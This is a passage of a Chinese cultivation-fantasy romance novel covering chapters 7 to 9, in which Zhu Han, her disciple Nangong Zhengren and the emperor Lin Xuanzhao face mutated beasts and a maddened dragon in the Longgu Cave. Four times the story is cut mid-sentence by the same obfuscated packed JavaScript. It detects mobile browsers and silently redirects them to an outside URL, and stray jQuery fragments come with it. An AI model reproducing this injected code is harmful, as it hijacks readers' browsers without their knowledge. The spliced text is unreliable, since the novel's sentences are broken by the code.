南宫政仁看到祝寒的背影,她站在悬崖前,穿了一件纯白的吊带裙,在黑夜中像是一抹月光一样显眼,裙摆开叉到大腿,冷风将裙摆和发丝往后吹。 南宫政仁刚想要上前,就看见祝寒从悬崖上跳了下去。 他脑袋里差点有根弦要断了。 好久没游泳了,祝寒心想。 果然游泳还是得选南冥海,够冰够沉,特殊的海水零下几十度也不会结冰,密度也比普通水高,游起来才有劲。 她心神放松,放任自己在空中下坠,呼啸的风声刮过耳畔,突然感觉好像还听到了一点南宫政仁的声音? 她身体已经到出现幻听的地步了吗? 那声音越来越清晰,祝寒这下确定了,不是幻听,她落入海中的前一秒,睁眼往上看去,只见悬崖上几颗碎石落下,南宫政仁大声喊着她名字就从山崖上跳下来。 祝寒:? 什么情况? 他也想游泳? 浪花溅起,她刚沉下去,就在水里调转头身方向,想冒出头去看看南宫政仁到底想干嘛。 还没来得及浮上去,眼前突然炸开汽水爆炸般的水花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626368|172383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,随之立刻感觉到南宫政仁直接撞上了她。 一股陨石般的冲击力撞得她眼冒金星,直接将还没冒头的她砸下去,在水底划出一道流星一样的路径。 祝寒差点一口血喷出来,没憋住气,海水呛入鼻腔,一串水泡从口鼻中冒出。 他要谋杀她吗?! 她想捂住鼻子,浑身却都被南宫政仁紧紧圈着,力道还不是一般的大,她是分毫都动不了。南宫政仁头贴在她腹部,嘴巴张张合合地叫着“姐姐姐姐要死一起死”,口鼻中咕噜咕噜冒着白花花的泡泡,两人一直在水中下沉。 祝寒:什么东西,我不想跟你一起死啊。 她用力挣开他的手,南宫政仁在水中胡乱抓着,还想来抱住她,祝寒如临大敌,一把抓起他手腕带着他往上游去。 后山山崖。 “咳咳咳咳!”南宫政仁跪趴在地上,疯狂咳水。 祝寒在一旁扶着额头,南冥海比冰雪还冷他也是敢说跳就跳。 天寒地冻的,他趴在雪地里瑟瑟发抖,大晚上也不穿多点,就穿了一件里衣,跟没睡醒就跑出来似的。当然现在也全身湿透了,湿哒哒地贴在身上滴水。 祝寒弹了簇火团去他面前,照亮他的脸。 “我回去给你拿衣服。”祝寒说着转身回走。 身后传来他慌忙起身的声音,踉跄的脚步逼近,一下双膝着地跪在她身后。 他紧紧抱住她的腿,脸贴在她大腿上,就像一块冰贴了上来:“姐姐,对不起。” 祝寒头疼:“我知道你是担心我才跳下来,不怪你。你快松手,我很快就回来。” 南宫政仁还是抱着她不放。 祝寒深吸一口气:“松手。” 语气低了几度。 南宫政仁这才乖乖把手放开。 祝寒:…… 原来吃这一套啊。 她折返回拂雪阁,很快就回来了。 将干净的贴身衣物、棉衣、棉被扔到南宫政仁身上:“快把衣服换下来。” 她转过头去,南宫政仁在后面窸窸窣窣换衣服。 “姐姐,我好了。” 祝寒转过身去,南宫政仁裹在被子里像只粽子,只露出一张脸,没什么精神,在火光的映照下两只眼睛里还有些许水光。 祝寒挨着他坐下,余光斜斜地看着他侧脸:“怎么知道我在这儿?” 南宫政仁愣了片刻,似乎有些迷惘:“跟着蝴蝶找来的。” 心跳平稳,不似作伪。 祝寒心说幽潭龙蛇那一巴掌真是把这孩子扇傻了,零下几十度哪来的蝴蝶? 也罢,可能是才给他下了毒,一点小小的愧疚作祟,她允许他保留一点秘密。 随着她抬眼望向夜空,一道绚丽弧光映在眼底。 运气不错,今晚有极光。 这里是极光最佳的观赏点,可以完整地看到幽绿色混杂着一些紫色的极光缓慢涌动翻滚,夜空就像在燃烧一样。 “姐姐,你冷吗?”南宫政仁突然问。 虽然只穿了一件吊带,但以祝寒的境界,那当然是不觉得冷的,甚至可以说她正好喜欢这样的温度,临海的后山冷风呼啸,是她平常最爱来的地方。 只是南宫政仁这么一问,她也就顺势说道:“有点冷呢。” 于是被子的一角掀开,两个肩膀靠到一起,祝寒直接将头也靠了上去。 这样他的气息就离她很近了。 肩膀很宽,有肌肉,头靠在上面也不硌。她闭上眼,将鼻子凑近他侧颈,发丝间有一股清冽的淡香。 突然很想就这么睡一会儿。 感觉到南宫政仁手臂绕过她后腰,掌心贴在腰线上,过了一会儿,腰间的力道缓缓收紧,身侧的发丝也簌簌地垂落,他的鼻息不知何时近在咫尺,祝寒感觉现在抬头就能直接对上他嘴唇。 他似乎在犹豫什么,温热的气息喷吐在脸上,痒痒的,让祝寒想起以前养狗时晚上睡觉被狗对着鼻子闻来闻去,虽然是依赖亲近的表现,不能说不可爱,但她其实更想安静睡个好觉。 她睁开眼,抬头吻过他近在咫尺的唇角,舌尖将一点细雪吻开。 “乖啊,别哼哧哼哧的了,让我睡会儿。” 嗯,果然一下就不乱动了。 祝寒心满意足继续睡去。 7. 泣江龙 祝寒其实不怎么睡觉,睡也不会睡很沉,可这次竟然靠着南宫政仁就那么睡了两个时辰。 他也还真就老老实实在海风嗖嗖的悬崖边一动不动坐了两个时辰。 晨光熹微时她才睁眼,久违惬意的同时突然转头看到挂着两个大大的黑眼圈半边身子僵硬的南宫政仁,方才反应过来自己做了什么。 他身子摇摇欲坠,脸上却是笑容满面:“姐姐,早上好。” 祝寒连忙从他肩头离开,歉意地看着他:“早上好,对不起,我居然睡了这么久……” 南宫政仁靠近过来,揽住她的肩,他埋下头,呼吸扫在祝寒侧颈,声音黏黏糊糊:“姐姐,再睡会儿也没关系……” 清冽的气息侵袭而来,她眼睫颤了颤,闭眼的两秒,许是心中在经历一番天人交战,但睁开眼时还是摸了摸他的头,说道:“睡不了,要去龙骨窟了。” 今天就是炎光帝号召炎国百家修士前往平定龙骨窟灵兽暴动的日子。自百年前开始,祝寒已经极少在这种场合露面,但因为龙骨窟中有四大神兽之一的坤渊这一不稳定因素在,她也只有应了光帝的请求。 不过坤渊不出现,她也只需要在后方坐镇。 南宫政仁问:“你从龙骨窟回来,会来逐月岛看我吗?” 祝寒拍了拍他脸颊,笑道:“会的。” 南宫政仁嘴角刚上扬起来,祝寒继续说道:“给你和祈琰带东海的海鲜吃。” 南宫政仁嘴角僵了一瞬,但马上恢复正常:“好!” 他已经不太纠结姐姐仍拿他当孩子看这点了,只是…… 祝寒:“走吧,回去。” 南宫政仁抓住她手腕,祝寒回头,见他支支吾吾:“姐姐,我……” 祝寒:“怎么啦?” 南宫政仁:“我是特殊的吗?” 祝寒心想这个特殊是和什么相比而言呢。虽然没有一个清晰的界定,但她对南宫政仁的感觉好像确实与对旁人不同。 不同于其他男人,她喜爱他,这种喜爱之中还掺杂着包容和珍惜,不管是身体还是心灵。就像是喜爱自己的宠物,亦或是孩子。 是因为他的体质吗?还是年龄? 但不论如何,他的确是特殊的。 于是她回答道:“是。” 南宫政仁抓着她手腕的那只手缓缓上移,拉着她上臂将她带到怀里,手掌在她后背上摩挲:“姐姐,那我还想要……” 祝寒下巴抵在他肩头,问道:“想要什么?” “昨天那个吻……太短了……” 阴影笼罩下来,将眼前的日光遮过。 …… 后面回到拂雪阁祝寒脑子都还昏昏沉沉,镜子面前,她微微偏过头,嘴唇有些红。再顺着看下去,看着脖颈一直到锁骨之下的几处红痕,心里说不上来的苦恼。 真是只狗。 年轻就是好,精力旺盛,祝寒每次遛这种大型犬都很累,一不小心就会变成她被狗遛。 好在暂时不需要遛狗了,她去龙骨窟,他回逐月岛,可以放养一会儿。 她随手翻了翻大箱小箱,离火宫祖祖辈辈传下来不少法器,想带点可能用得上的。 离火宫祖上是锻剑出身,宗门实力不强但却是富得流油,当年可以说是要钱有钱,要实力也有钱。 找了一圈也没找出个什么名堂来,实在是太多了,五花八门什么样的都有,挑的眼花缭乱。 正当她放弃大海捞针时,角落某个东西吸引住她注意。 祝寒眨了眨眼,眼底闪过一抹亮色。 对于龙骨窟一行无用,对于养狗却是大有用处。 离火宫山门外,少年身姿修长挺拔,肩上挎着行囊,一手撑伞,站在纷纷扬扬的大雪中。远远见祝寒来了,便三步并作两步跑上去将伞撑过她头顶。 祝寒见他原本站的那里雪坑已深,心知他等了很久。 她没有顺势将手放进他伸来的手里,而是说:“阿政,你低点头。” 南宫政仁虽不知这话何意,但还是乖乖照做,脖颈微微垂下,抬起一双眼睛看着祝寒。 祝寒将一条项链戴在他颈上,扶起他脑袋:“好了,抬起来吧。” 项链不长,她专门挑了适合他的银链,冷光流转,刚好圈住脖子,卡在锁骨上方的位置,一枚菱形的墨色玉石垂落在锁骨之间。 这是通灵玉,共有两块,一块子玉一块母玉,持母玉的人可以感应到子玉的位置。 南宫政仁摸了摸,冲她笑道:“姐姐又送我礼物,好开心。” 祝寒拍了拍他肩上的雪:“出发吧。” 两人在山门口分别,祝寒直接往龙骨窟去,南宫政仁则是要去港口搭浮空艇回逐月岛。祝寒在空中回头,南宫政仁正抬头望着她,纸伞之下,少年笑意干净明媚,冲她挥了挥手。 祝寒也挥手告别,踏入云层中。 …… 龙骨窟地处炎国最东边,临近东海,离离火宫还是很有一段路程,祝寒赶到时大军已经集结完毕。 苍龙般起伏的群山之间,一道巨大的洞口之外,半空中停泊着阵列的浮空艇,船帆上都有一个遒劲的“炎”字。 炎国半数神藏境以上的修士都集结于此,大约有上千人,看洞口的浮空艇数量,应该已经有部分作为先遣队伍先行进去了。 比较惹人注目的是大军最末的那艘浮空艇,规格要比旁的大不少,船上士兵镇守森严,来回巡视。 船舱火纹帷幔之外驻守的两名将领都是劫仙境修士,然则还不止,暗地里还有强者在保护着这艘船。 三名道轮境修士也正聚在这艘船前。 一人往那紧闭的帷幔瞅了一眼:“也不知陛下怎么想的,跑来亲征。老实宫里待着不行吗,真出了什么岔子我等还要拼上这把老骨头保护他。” 一人悠悠道:“新皇刚继位不久,也是急切想做出政绩,不奇怪不奇怪。你我只管专心护好这艘船,前方任那些劫仙神藏小儿打杀便是。” 这二人年岁稍长,都是发须皆白的老头模样,另一人年轻些,外表看着不过三十出头,抱着把剑,一身白色布衣,发带飘飘,气质沉稳,他说:“不是说陛下还将离火宫那位也请来了?有她在,两位有何好担心的?” 那两人似是都噎了一下,看起来有些无语。 一人捋了捋胡须:“周小友涉世不深,不明白那些弯绕也正常。” 另一人道:“大军早已集结,仙尊此时还没到,估计是不会到了。离火宫虽是我国镇国宗门,但仙尊与船 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626369|172383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里那位新皇是出了名的关系不好……” 那周姓修士像是听到什么骇闻:“此话怎讲?” “光帝年幼就拜入离火宫,仙尊亲自教养,但光帝天资平平,脑子也愚钝,据说三天两头就惹得仙尊打骂,跪山门跪祠堂跪大殿那是处处跪,离火宫上下多少双眼睛……那可是皇子啊,他们给他起外号‘炎国跪族’,这天大的耻辱谁能忍受?偏偏这光帝还就传承了老林家一脉的那种死傲死傲的劲,眼高于顶拿鼻孔看人,这样的人在离火宫那几年过得生不如死,差点被逼疯。” 周姓修士目瞪口呆:“这也太……” 那修士继续说:“仙尊估计也和世人一样没想到光帝能登基,哎他偏偏就是有个手段了得的娘,真就一路把他送上那位置了。这不,刚一登基,皇家就减少了和离火宫往来,估计他想起离火宫就恨得牙痒痒。也是招笑,现在遇上大事还要屁颠屁颠求人家帮忙。我要是仙尊,他这态度我搭理他?我不纯有病吗?” 话音刚落,他低头看见同伴正用袖子焦急地在底下拍他:“干什……哦哦哦!仙尊您来了,多久到的啊,有失远迎,有失远迎!” 祝寒其实有点爱听八卦,从他们说到林玄昭外号炎国跪族她就隐匿气息在听了,但这种事总不能实话实说:“刚到,你们刚刚在聊什么吗?” 那二人慌张摆手道:“未曾、未曾。” 祝寒认识这两个人,都是两方大宗派祖师级的人物,年龄都得接近千岁了。年轻些的这个似乎是近年来名声鹊起的天才剑修,名叫周啸。 她冲三人点了点头,问道:“怎么还不出发?” “早集结好了,在等陛下下令呢,为何迟迟不下令我等也是满心困惑。” “仙尊,您既然来了……要不去和陛下打个招呼?毕竟是天子,总不好就这么,呃,晾在一边。” 祝寒转头,看了眼那严严实实的火纹帷幔,挑了挑眉:“林玄昭亲自来了?” “是……” 三人心头汗颜,以光帝的性子,旁人一百个胆子也不敢直呼他大名。 祝寒只看了一眼便转回头,什么也没说,也没有要上那艘船的打算。就好像“皇帝”这个词的分量对她而言没有几分影响。 几人心中骇然,暗叹:果然关系是真差。 忽然一阵风动,帷幔一角掀起,一只镶着鎏金的靴子踏出,帷幔后身影闪动,转瞬之间,一人就踏着气流走来,出现在几人眼前。 要不说是皇帝呢,这人仿佛自带一身龙气,身形高大开阔,一张脸英俊得像是雕像,线条坚毅有力,气势确实是够镇得住龙椅的。领口敞开露出结实富有的肌肉线条,许久未见好像又大了点。 不愧是祝寒曾锐评为炎国第一男模的人。 其余人见了纷纷行礼:“陛下。” 浓眉浓睫下,深邃的黑眸里映出祝寒的身影。 祝寒没向他行礼,只在他出现时微微瞥过去一道漫不经心的目光。 他面无表情站在那许久不语,周围气氛仿佛都降了几度。 就在旁人受不了想说点什么打破尴尬时,却见他双手缓缓举在胸前,抱拳躬身,嘴唇动的幅度几乎看不到。 “师尊。” 语气低沉生硬得像是茅坑里的石头。 8. 泣江龙 祝寒质问林玄昭:“既然早已集结,为什么现在还在此处停留?” 林玄昭沉默半晌,刚抬眼对上她眼睛就立马躲闪开,低声说:“部分神藏境修士和少数劫仙境修士已经先进去了,待他们扫平前几层,大军行进也要方便些。” 龙骨窟十层中,前四层灵兽修为都不算高,神藏境足以应对。 林玄昭是个傲慢且怕麻烦的人,让修为低的在前面开路,好让自己一会儿行进畅通无阻。没考虑过这些修士在后方没有援助的情况下会遇到的险境。 祝寒忽的笑起来,林玄昭心头一颤。 他冷不防对上祝寒目光,虽然在笑,但眼睛里没有笑意,冷若冰霜。 林玄昭感觉一种膝盖传来习惯性的神经反射,有些酸软。 “跟我进来。”她闪身来到船舱前,拉开帷幔走了进去。 林玄昭顿了片刻,也跟在她身后进去。 留那三人在原地,憋着的一口气长长吐出。 周啸暗暗与那二老对上眼神,仿佛在说你们所言果真不假。 半刻钟不到,林玄昭那艘船上吹响了进军的号角,一圈圈扩散而出,激荡在军阵中每一个人的耳旁。 所有人不约而同想:终于。 数十只浮空艇在空中滑动船桨,朝龙骨窟洞口加速行进。 祝寒掀开帷幔出来,站在船头,声音平稳,却包含一道法力,传遍全军:“所有劫仙境修士打头,神藏境修士分列左右翼,前中后各一道轮境,加速追赶先遣队。” 声音传入众修士耳中,纷纷都知道是祝寒来了,士气高涨,尤其是剑修们,没几个不激动。比起那位皇帝陛下,祝寒在他们之中的声望明显要更高。 祝寒说完又看了眼下方那剑修周啸:“你,留在最后,照看好林……照看好陛下。” 周啸是土灵根,修的功法攻防兼备,留他在林玄昭身边最稳妥。 周啸点头:“没问题。” 交代完这些,她对着帷幔之中说道:“你自己也小心点,我先进去看看情况。” 而此刻,先遣队伍已经一路扫清到了龙骨窟第四层,前三层灵兽都在洞天境及以下,到了第四层,基本都是些洞天境和神藏境,虽比前三层费力一些,但也没什么太大威胁。 虽然应对得过来,但见过那些暴动的灵兽,疑惑还是萦绕在众人心头。 “怪哉怪哉,好端端的,这些灵兽为何全都发疯?” “眼冒红光,毫无神志,莫非这地方不干净?它们染了什么疾病?” “还怪渗人的,先前斩了一只洞天境黑翼豹的头,头掉下来眼珠子还在提溜,还在地上自己动了动,就像头底下涨了几百条虫一样的腿似的,吓死我了!” 说话这人半认真半开玩笑,他同伴闻言倒是被吓到了:“哥,我胆子小你别吓我啊!” “哎,逗你的逗你的,其实我也没看清!”他一剑挥出,将扑来的灵兽头颅斩落,鲜血四溅,“我后面转念一想,怎么可能是真的,跟做梦一样!” 他同伴松了口气:“是啊,不过你说得也太吓人了……?等等?哥,你看……” 他指着刚被斩落的头颅,那人一看,地上的羊头眼珠在眼眶里弹来弹去,上下颌抖动,慢慢张开,“咔”一声上下颌打开成一条直线,数十只蛆虫般的根须从喉咙里伸出来,像小脚一样支撑在地上,一溜烟地跑了出去。 “哥……这不是在做梦吧?” 数道尖叫声同时从人群中响起,只见到处都在发生相同的一幕。 灵兽残肢全都“活”了过来,以极快的速度蠕动。四肢找上躯干,躯干找上头,不分种族不分数量,挨在一起血肉就肉眼可见密密麻麻地增生,渗透进彼此的皮肉组织,连接相融,拼凑出一大群几个脑袋十几只手脚的怪物,拥挤的肢体间还有歪歪扭扭的细长软肢扭动。 “我去。” 短暂的错愕后,修士们骤雨般的攻击落在这些缝合灵兽身上。 管他什么怪物,这种情况哪还有时间犹豫,先出手再说。 但很快他们发现情况好像比想象的更棘手。 体量增长数倍,境界也成倍增加,一个身体上拼凑了十几只洞天境灵兽的部位,直接堪比神藏巅峰。 还活着的灵兽身躯竟也开始和这些怪物相融,一时间数量增长到上百只。 这批先遣修士拢共不过两三百人,大部分是神藏境,只有少部分是劫仙境,这一剧变打得他们措手不及,阵脚一乱,就有人陷入险境,只顾得上逃命。 局势在慢慢逆转,原本修士们捕杀灵兽,现在不少人已经在这些诡异灵兽的反击下四散奔逃。 “什么怪物啊!” 这些缝合灵兽扭曲的外形看一眼足以令人崩溃。一只熊爪拍下,将一个被吓破胆的修士压住,鸡头狠狠地啄下,拥挤的头颅们俯下来蚕食内脏。 一排嘴角挂着内脏肠子的头颅抬起,眼里红光闪烁,继续追捕前面的人。 “救命!救命啊!” 一支笛子破空而来,带着莹绿色光晕旋转着,快到只能看见残影,从这些怪物的头颅之间掠过。 又在空中杀了个回马,飞回来时的方向。 追在前面的十几只怪物数十颗头齐齐断裂,喷出血雾。 “折枝!”有人认出祝寒的笛子,“仙尊来了!” 祝寒常年以笛代剑,折枝是笛子,也是她用惯的剑。 她听到动静便扔出折枝,现在笛子飞回手里,她也赶到,一个剑招隔空将怪物洞穿,抓住那奔逃修士的衣领:“上去找光帝……算了,找周啸,让他带光帝退出去。” 龙骨窟的异变有点出乎意料,在还没对当前状况知根知底的情况下,一国之主深入险境并不是件明智的事。 前三层都还是正常的,到第四层才出现这种诡异情况,就怕下面几层也是这样,甚至说不定坤渊也发生了什么变化。 一道飞身符拍在那人背后,送他飞快冲出去。 祝寒回头,面对汹汹而来的成群怪物,手中折枝飞转,几息之间身形从群聚的怪物之间穿过,轻盈落地,繁复如网的剑光自她身后绽发,整齐的划开皮肉筋骨断 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626370|172383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裂声响起,血光四溅。 残肢和断头如雨点般落在地上。 确认是全部死得彻彻底底后,祝寒想了想,按下眼里一抹疑惑,没有回头,往下一层去。 她要去确认最坏的情况是否发生。 与逃回来的修士们碰上时,大军刚行进到第三层。 周啸一直不离林玄昭那艘船左右,听完事情原委,神情凝重:“我明白了。” 林玄昭也知晓了第四层的变故,双手交叠在桌前,托着下巴沉思。见周啸进来,忙起身上前:“周道主,来得正好,朕要领兵冲阵,劳烦周道主同我一起。” 林玄昭想,此番虽险,但一旦成功,那就是史书上流芳千载的美名。 炎光帝的名号也将会和两百年前与祝寒一起平定三宗世家的祖父一样,永远被后世称颂。 周啸摇头:“陛下,我是来奉仙尊之命带你离开龙骨窟的。” 林玄昭怔住。 周啸:“请吧。” 林玄昭:“如果朕执意不走呢?” 周啸心想,那就只能打晕你带走了。 他叹了口气:“陛下,龙骨窟的危险超乎寻常,仙尊也是为你好,走吧。” 林玄昭死死盯着周啸,怒道:“给我让开!我是皇帝还是她是皇帝?你要听她的还是听我的?” 为什么、为什么,明明他才是皇帝,为什么还是只能像跪在地上的狗一样接受她垂下来的凝视和支配。 周啸不知还能与他怎么讲,正想要抬手将他打晕,林玄昭突然抽出架子上的剑指着他:“你若再拦朕,不论今日结果如何,朕必要治你的罪,你一介散修无依无凭,得罪皇家,是想从今往后在炎国再无立足之地吗?” 祝寒他这辈子算是惹不起了,这周啸虽是道轮境强者,但是个白手起家的散修,身后没有宗门撑腰,林玄昭不信镇不住他。 可林玄昭想错了,周啸心境正如他修的心法一般,安稳如山,不会轻易动摇。 一个眼神,林玄昭就觉得自己浑身都动不了。只见周啸抬起手,对着林玄昭后颈落下。 两道身影突然一左一右闪身进来,一人将周啸的手拦在半空,一人对着林玄昭眉心虚点一下,林玄昭身体知觉又回来了。 是道轮境那另外两人。 “周小友,何必?我三人在此,纵使坤渊来了也是护得住陛下的。” 林玄昭:“你怕得罪仙尊,留在这里便是,道轮境修士也不差你这一个。” 眼前这架势,周啸心知是拦不住林玄昭了,但还是说了句:“陛下想好要如何向仙尊交代?” 林玄昭:“自会用成果交代。” 周啸收了手,又回到那副抱着剑波澜不惊的平静模样:“那便祝陛下武运昌隆。” 林玄昭拿上剑,那二人跟在他身后,一同走出船舱。 他登上船头,剑指前方,一身的帝王威仪,龙纹衣袍在风中猎猎作响:“龙骨窟异变与当年凶神降世颇有相似,都是灾祸之兆!全体修士听令,即刻随朕荡平龙骨窟,剿灭异兽,护佑炎国安宁!” 9. 泣江龙 祝寒正身处第八层,她一路径直下来,只将拦路的灵兽清扫了,其余的自有后面的大部队清扫。 比较坏的消息是,和第四层一样,下面这几层灵兽也都出现了诡异的变化,并且随着层数往下,异变也更明显。 第五层第六层时,情况还和第四层一般,杀死的灵兽会“缝合”一遍,变成不伦不类的怪物,需要多杀一次。 到了第七层,活着的灵兽身体上也开始冒出多余的头颅、肢体,像是现世里猎奇转基因新闻配图里会出现的生物。 为什么说这个消息是比较坏而不是很坏,那是祝寒将情况跟目前炎国这边的实力相比对而言。 虽然比预想的要棘手,但依旧在他们可以较为轻松解决的范畴之类。毕竟林玄昭对此次出征很上心,兵力完全足够。 这样一来,可以确保将这些灵兽剿灭在龙骨窟内,外面百姓的正常生活不会受到影响。 还算理想。 当然,这个结果是排除了坤渊这一因素而得出的。 她先大部队一步深入,主要是为了先去第十层查看坤渊的情况。 总不能真像林玄昭说的那样,她只用跟他一样坐在船舱里,跟在大部队最后面,慢悠悠去到第十层。要是一看坤渊没问题,那当然皆大欢喜。怕就怕坤渊有问题,到时候这么多修士的安危谁来管? 所以,她一个人去第十层就足够了。 闪身躲开扑过来的变异灵兽,折枝虚划一下,剑光将灵兽绞成碎片,漆黑的血在石窟地面上流淌。 祝寒在想,灵兽们都有领地意识,坤渊作为四大神兽之一,这座龙骨窟就是它的领地,领地上的灵兽集体发生这样的剧变,作为龙骨窟的主人,如果还清醒着,它真的会放任不管吗。 何况坤渊一向是良善的神兽,与人类友好共处了上千年。 她心中隐隐有了些猜测。 祝寒从灵兽的血上踏过,忽然一阵刺骨的凉意如同荆棘,从脚跟缓缓缠绕上来,蔓延全身。 她脚步一僵。 这是化境级别的对手才能带给她的威压。 闭上眼,神识扩出,蜿蜒下潜,龙骨窟最深处,在原本什么都感受不到的黑暗中,她听到了巨兽粗重的呼吸声。 她的神识被注意到了。 头脑感受到一点钝痛,某种原始恶意开始啃噬她的精神。 黑暗裂开两道巨大的狭缝。 不是空间被撕裂,而是生物的眼睑开合。 天地间,一双龙眼自黑暗中睁开,大得恐怖,占据了整个视线。竖瞳周围的金色虹膜遍布一圈圈蜿蜒的血管纹路,如呼吸般收缩开合,通过神识与祝寒对视。 她本体的眼睛都感到一丝被压迫的酸胀。 一时竟有种魂魄被抽离的晕眩感。 祝寒收回神识的瞬间,愤怒低沉的龙吟抵达耳畔。不是通过神识传来,而是一圈圈声波真真切切地从第十层一直传上她所在的第八层,整个地面都在龙吟声下颤抖。岩层在声波中软化如内脏内壁,钟乳石蠕动成倒悬的龙牙。 灵兽们在龙吟声中眼中红光愈浓,集体仰头高声回应,短暂的僵直后,集体朝上层发起冲锋。 祝寒逆着兽群,衣袂翻飞,那些朝她扑来的灵兽还没接触到她就被周身剑气碾为齑粉,血雾和残肢冲刷过身侧,她微不可察叹了口气。 果然是最坏的情况,虽然她也早有心理准备就是了。 大部队应该还在第三层或者第四层。 时间足够充裕。 原地已不见了她身影,只有一点粉色花瓣回旋落地。 …… 第十层 与前九层最大的不同是,这里开阔得看不出是在洞窟之中,看不到四面边际。更像是深邃的幻境空间、像黑暗中流动着星光的深渊。 到处都有巨大的岩石块悬在半空中,像宇宙中安静沉睡的飘浮物,周围云雾缭绕,增添几分朦胧的神秘。 岩石之后,偶尔有层层鳞片游动浮现。云雾之间,隐隐可见爪牙泛起的微光。 剑鸣惊空,一道剑光如流星长坠。 祝寒手持折枝,缓缓落在高处的岩石上,往下看去。 她这一剑很快,纵使坤渊反应迅速,巨大的身体也难以第一时间避开。坚硬的鳞片翻飞碎裂,剑光将它身体洞穿。 当然,它还不至于一剑就能被杀死。 雷鸣般的怒吼声响起,周遭暗了几分,电光在云层中若隐若现,空中下起了阵雨。 巨大的身躯冲天而起,满身幽莹的鳞片闪动着蓝绿交织的幻光。 有多大呢,祝寒整个人还没有它身上一块龙鳞大。 她甚至看不全坤渊的头,神兽俯下头颅,缭绕的云层间,金光洞开,眼前一只金色眼睛将她视线完全遮挡。 眼睛里没有瞳孔,只有无尽的,仿佛能将人吞没于其中的金色。 神兽都有着超乎常人的灵智,祝寒试图交流:“还记得我吗?两百年前我们见过……不说话?算了,看样子是不记得了。” 坤渊的状态很奇怪,和上面那些灵兽一样,失去了神志。 修为也因为某种未知的原因从半步化境突破到了化境。若非如此,刚刚也不会给她的神识带来如此强的压迫感。 她心下已有定论,握紧折枝,低声说:“对不起了。” 巨龙的大口张开,丛生的根须被风吹动,狂乱地扭动,一团蓝色的光球从口中喷出。 内丹? 龙可以操控自己的内丹离开身体作为武器,这不奇怪。只是祝寒注意到,这团蓝色光球中,好像还包含着一些别的什么东西。 一些极小的,但像蚂蚁般密密麻麻的黑色东西,在其中爬行扭动,急切地想要钻出来。 就好像内丹只是用来包裹这些东西的一层外壳。 脆如泡影。 她瞳孔骤然睁大,内丹在眼前炸开,铺天盖地的汹涌波涛随之而来。 第九层中,林玄昭眉头狠狠跳了一下。 在他身前,那两名道轮境修士和十几名劫仙巅峰修士正与变异灵兽厮杀。 他在第四层时,听到下方传来的龙吟,当即决定脱离大军,带上这些顶尖战力直奔第十层:“坤渊才是这场暴动的操控者,随我前往第十层,斩杀恶龙!” 快点、快点,赶在祝寒杀死那头龙之前赶到。 一定要是他带兵战胜坤渊。 该死,只是让她来压阵稳定军心,她凭什么擅自行动,凭什么凭什么凭什么…… 什么隐世的离火宫,什么淡出修真界的仙尊,她根本没打算放手,没打算把光芒还给他。 她不是他师尊吗?为什么不能支持他一回,帮他在人前立威,他自不会亏待她。 林玄昭头很痛,眉眼间积聚的阴霾愈发浓郁,头部生理性的拉扯感让他想吐,以至于听到水声时他以为只是自己的幻听。 “陛下!情况不对!” 林玄昭猛地抬头,周围的声音如潮水般涌入耳中,前方铺天盖地的巨浪庞大的阴影将所有人和灵兽笼罩,激流冲刷着石壁,如同猛兽咆哮着飞快席卷过来。 “哪来的水?”林玄昭眉头紧皱。 “这水有问题。”原本在最前方的道轮境老者飞身退后。 被巨浪席卷入水中的灵兽爆发出凄惨的嚎叫,水很快被血液染黑。 一名劫仙境修士来不及跑,被卷入水中,万千道乌云般的黑影张着漆黑的双眼和大嘴穿行,尖利的牙齿啃噬水中一切活物。修士身上瞬间爆开几道血雾,他灵力轰开周围那些黑影,却有更多黑影扑上来将他淹没,咀嚼声盖过惨叫,红绸般的血液从黑影的空隙中流出。 “是从第十层漫上来的!陛下,走!”老者抓住林玄昭肩膀,带他飞快往上一层入口冲去。 头顶下起了雨。 林玄昭开始以为只是岩壁上滴落的水,但越来越多水渍滴到他衣服上,抬头一看,看到的不是高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626371|172383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高的岩壁,而是雷电云雨。他发现自己前进速度在雨中变得很慢,因为那名道轮境老者的速度变慢了。 